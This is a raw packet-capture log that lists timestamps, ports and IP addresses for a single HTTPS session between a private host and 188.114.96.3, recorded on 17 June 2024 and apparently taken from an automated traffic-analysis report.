Jun 17, 2024 16:18:42.968211889 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968219042 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968230009 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968240023 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968272924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968276024 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968287945 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968307972 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968322039 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968329906 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968343019 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968363047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968394995 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968415976 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968441010 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968446016 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968470097 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968492031 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968669891 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968691111 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968725920 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968732119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968758106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968775988 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968854904 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968880892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968900919 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968907118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968931913 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968954086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968986034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969005108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969028950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969034910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969058990 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969075918 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969140053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969161034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969185114 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969191074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969216108 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969233990 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969640970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969662905 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969692945 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969700098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969721079 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969733000 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969741106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969749928 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969764948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969772100 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969803095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969809055 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969837904 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969886065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969904900 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969928980 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969934940 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969963074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.969974995 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.969995022 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970021963 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970027924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970046043 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970065117 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970487118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970506907 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970534086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970540047 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970560074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970573902 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970618963 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970638990 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970657110 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970664024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970688105 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970786095 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970808029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970830917 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970835924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.970855951 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.970875978 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973510027 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973537922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973560095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973568916 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973591089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973606110 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973618031 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973638058 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973663092 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973669052 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973690987 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973705053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973706007 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973717928 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973741055 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973747969 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973754883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973773956 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973792076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973850965 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973870039 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973892927 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973898888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.973913908 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.973931074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974000931 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974020004 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974047899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974052906 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974077940 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974095106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974114895 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974134922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974157095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974162102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974203110 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974278927 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974301100 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974323034 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974329948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974344969 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974360943 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974437952 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974457026 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974479914 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974486113 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.974510908 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.974528074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975208044 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975229025 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975258112 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975263119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975287914 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975307941 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975764990 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975785971 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975841045 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975842953 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975855112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975876093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975898981 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975904942 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.975925922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.975944996 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977165937 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977191925 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977252960 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977252960 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977260113 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977293968 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977509975 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977530003 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977560043 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977565050 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977585077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977592945 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977607965 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977615118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977627039 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.977639914 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.977683067 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.978703976 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.978724003 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.978768110 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.978774071 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.978807926 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.979657888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.979679108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.979722977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.979729891 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.979743958 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.979767084 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.979770899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.979788065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.979799032 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.979835033 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980011940 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980031013 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980056047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980061054 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980076075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980097055 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980124950 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980144024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980171919 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980176926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980201960 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980220079 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980770111 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980792046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980819941 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980825901 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980850935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980870008 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980900049 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980920076 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980947018 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980952024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.980977058 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.980998039 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.981709003 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.981729031 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.981765985 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.981772900 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.981785059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.981795073 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.981807947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.981813908 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.981820107 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.981848955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.981878042 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982096910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982115984 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982141972 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982147932 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982172012 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982191086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982224941 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982244968 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982275009 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982280970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982302904 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982321024 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982403040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982422113 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982448101 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982453108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.982477903 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.982500076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983370066 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983393908 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983422041 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983428001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983449936 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983468056 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983517885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983536959 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983566046 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983571053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983597040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983614922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983664036 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983684063 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983711004 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983717918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983740091 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983746052 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983762026 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983769894 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983782053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983793020 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983833075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.983836889 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.983870029 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.984862089 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.984882116 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.984935999 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.984945059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.984977007 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.985007048 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.985027075 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.985049963 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.985054970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.985081911 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.985100985 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.985153913 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.985173941 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.985204935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.985210896 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.985234976 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.985253096 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986399889 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986422062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986454964 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986460924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986484051 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986485004 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986505032 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986510992 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986527920 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986535072 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986567020 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986571074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986605883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986627102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986648083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986673117 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986677885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986704111 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986813068 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986834049 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986869097 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986875057 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986906052 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986929893 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986952066 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.986979008 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.986984968 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987003088 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987025976 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987118006 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987140894 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987165928 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987171888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987202883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987381935 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987402916 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987437963 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987445116 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987458944 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987468004 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987479925 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987492085 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987505913 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987515926 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987550974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987924099 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987943888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987970114 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987976074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.987991095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.987998962 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988009930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988017082 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988034010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988044977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988053083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988073111 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988091946 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988095999 CEST	443	49731	188.114.96.3	192.168.2.4
